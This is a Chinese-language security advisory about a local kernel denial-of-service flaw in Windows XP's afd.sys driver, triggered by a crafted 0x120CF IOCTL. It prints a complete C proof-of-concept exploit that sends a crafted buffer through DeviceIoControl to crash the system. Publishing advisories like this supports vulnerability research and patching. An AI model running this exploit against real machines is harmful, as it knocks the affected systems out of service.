Microsoft Windows "afd.sys" 120CFh IOCTL处理拒绝服务漏洞
发布日期:2011-04-11
更新日期:2011-04-11
受影响系统:Microsoft Windows XP Professional
Microsoft Windows XP Home Edition
描述:
BUGTRAQ ID:
47279
Windows是微软发布的非常流行的操作系统。
Windows的AFD.sys驱动程序在实现上存在本地拒绝服务安全漏洞,本地攻击者可利用此漏洞使受影响系统不响应,造成拒绝服务。
此漏洞源于AFD.sys驱动程序在处理IOCTL时的错误,可致访问无效内存,通过特制的0x000120CF IOCTL造成崩溃。此漏洞在Windows XP SP3 (afd.sys 版本 5.1.2600.5657)上已确认,其他版本也可能受到影响。
<*来源:Lufeng Li (
lilf@neusoft.com)
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
////////////////////////////////////////////////////////////////////////////
//
// Title: Microsoft Windows xp AFD.sys Local Kernel DoS Exploit
// Author: Lufeng Li of Neusoft Corporation
// Vendor: www.microsoft.com
// Vulnerable: Windows xp sp3
//
/////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <Winsock2.h>
#pragma comment (lib, "ws2_32.lib")
BYTE buf[]={
0xac,0xfd,0xd3,0x00,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x20,0x00,0x00,0x00,0xe8,0xfd,0xd3,0x00,
0xb8,0xfd,0xd3,0x00,0xf8,0xfd,0xd3,0x00,0xc4,0xfd,
0xd3,0x00,0xcc,0xfd,0xd3,0x00};
int main( )
{
WSADATA ws;
SOCKET tcp_socket;
struct sockaddr_in peer;
ULONG dwReturnSize;
printf("\n Microsoft Windows xp AFD.sys Local Kernel DoS Exploit \n\n");
printf("\t Create by Lufeng Li of Neusoft Corporation. \n\n");
WSAStartup(0x0202,&ws);
peer.sin_family = AF_INET;
peer.sin_port = htons( 0x01bd );
peer.sin_addr.s_addr = inet_addr( "127.0.0.1" );
tcp_socket = socket(AF_INET, SOCK_DGRAM, 0);//SOCK_DGRAM
if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(struct sockaddr_in)) )
{
printf("connect error\n");
exit(0);
}
DeviceIoControl( (HANDLE)tcp_socket,0x000120cf, buf,0x24,buf,0x24,&dwReturnSize, NULL);
return TRUE;
}
建议:
厂商补丁:
Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.microsoft.com/technet/security/浏览次数:3214
严重程度:0(网友投票)